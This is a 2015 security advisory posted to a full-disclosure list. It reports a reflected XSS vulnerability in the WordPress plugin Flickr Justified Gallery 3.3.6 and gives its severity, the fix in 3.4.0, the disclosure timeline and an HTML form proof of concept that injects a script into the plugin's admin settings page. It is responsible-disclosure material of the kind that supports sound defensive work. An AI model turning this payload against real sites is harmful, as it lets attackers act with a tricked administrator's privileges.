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Date: Tue, 28 Jul 2015 11:23:07 +0000
From: dxw Security <security@....com>
To: fulldisclosure@...lists.org
Subject: [FD] Reflected XSS in Flickr Justified Gallery could allows
	unauthenticated attackers to do almost anything an admin can
	do (WordPress plugin)

Details
================
Software: Flickr Justified Gallery
Version: 3.3.6
Homepage: https://wordpress.org/plugins/flickr-justified-gallery/
Advisory report: https://security.dxw.com/advisories/reflected-xss-in-flickr-justified-gallery-could-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can-do/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
Reflected XSS in Flickr Justified Gallery could allows unauthenticated attackers to do almost anything an admin can do

Vulnerability
================
This plugin contains a reflected XSS vulnerability which would allow an unauthenticated attacker to do almost anything an admin user can do.
For this to happen, the administrator would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.

Proof of concept
================
Visit a page containing the following in Firefox or any other browser with no reflected XSS mitigation strategies, and click submit:
<form action=\"http://localhost/wp-admin/options-general.php?page=fjgwpp.php\" method=\"POST\">
<input type=\"text\" name=\"fjgwpp_userID\" value=\":&quot;>&lt;script>alert(1)&lt;/script>\">
<input type=\"text\" name=\"Submit\" value=\"Save Changes\">
<input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.4.0 or later

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-07-21: Discovered
2015-07-22: Reported to vendor via email
2015-07-22: Requested CVE
2015-07-23: Vendor responded confirming fixed in 3.4.0
2015-07-28: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
          


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